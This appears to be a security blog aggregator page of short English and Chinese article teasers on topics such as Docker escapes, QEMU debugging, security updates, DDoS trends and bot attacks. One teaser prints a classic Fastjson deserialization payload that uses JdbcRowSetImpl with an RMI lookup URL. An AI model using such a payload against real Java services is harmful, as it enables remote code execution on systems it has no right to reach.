Aggregator

Final Year Project - Web Application Security Principles About 18 years ago I worked on the final year project for my Bachelor’s degree in Computer Science. I had just gotten interested in security and was learning about security principles. The title of the project was “Web Application Security Principles - Designing Secure Web Based Enterprise Solutions”. Looking back, a really cool thing was that I had just started working at Microsoft as an Associate Development Consultant and was bold enough to send the paper last minute over to Michael Howard - who responded and indeed reviewed it!

We all know we need to use security controls to protect our networks, but that's easier said than done. F5 Labs' Ray Pompon writes for ISBuzz News, discussing how to prioritize your security control options and how to actually get some of them done.

互联网安全建设从0到1

We have released the February security updates to provide additional protections against malicious attackers. As a best practice, we encourage customers to turn on automatic updates. More information about this month’s security updates can be found in the Security Update Guide.

We have released the February security updates to provide additional protections against malicious attackers. As a best practice, we encourage customers to turn on automatic updates. More information about this month’s security updates can be found in the Security Update Guide.

本文主要从攻的角度讲述Docker逃逸的一些常见方法

Global efforts to produce and distribute the COVID-19 vaccine continue to race ahead. But in many cases, that race is an uphill climb. Beyond the challenges in making enough of the vaccine, educating the public, and the logistics of distributing the doses, there is a new challenge. Bots.

前言 早在去年 11 月底就已经看过《PHP 实现 Base64 编码/解码》这篇文章了，由于当时所掌握的位运算知识过于薄弱，所以就算是看过几遍也是囫囵吞枣一般，不出几日便忘

This post highlights a simple mitigation to improve the security posture of your organization. The idea is to, by practical means, limit attack surface and prevent spreading of automated malware, as well as limiting lateral movement by adversaries. Network security over the last 15 years Malware can spread fast and damage businesses at scale. SQL Slammer [1] and WannaCry [2] are two well-known cases that showed how quickly and damaging this can be.

Three years of data shows DDoS attacks against service providers are growing while brute force and other authentication attacks are slowly waning.

发送恶意数据包，导致服务端逻辑重构，造成Cookie中毒、图片验证码“变形虫”、手机号“劫持”，钓鱼短信。

傻了，上一个调试的时候没加-enable-kvm，而且电脑的虚拟化也是关着的。假装无事发生过，一切调整就绪后，重新在KVM模式下调试。终于在另一台linux老爷机上装好了qemu和各种软件，继续从这里...

We continue to see large-scale online security attacks affecting corporations and public institutions. These attacks are becoming more and more sophisticated, making it harder to protect yourself. The constant evolution of attacks requires innovative solutions that only Akamai can provide....

好久没有水文章了……在家无聊，正好最近也是在研究虚拟化相关的东西，就调一调qemu中文件写入的流程吧。这里说的写入是指，qemu启动的虚拟机，虚拟机中如果发生文件IO，那么qemu如何知道要更新对应的...

从“检测”到“响应”，必然绕不开“分析”这个关键阶段。然而，无论是Gartner还是其他第三方分析报告，对“分析”这个环节都没有给出太多的解释，但无论如何“分析”所承载的正是从“检测”到“响应”的核心业务逻辑。

手里拿着锤子，看什么都像是钉子 在放假的这几天，断断续续的看了老李关于 PHP 多进程的文章。 PHP多进程初探 — 开篇 PHP多进程初探 — 孤儿和僵尸 PHP多进程初探

简介

先看经典 payload

1{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

前言一转眼博客两年没更新了，原因有很多，主要还是因为懒…另外因为不怎么搞研究了，所以感觉没啥好写的，有些内部做的东西又不太好公开发。安全开发17年底刚进入新公司时，本以为会继续做安全攻防方向，不...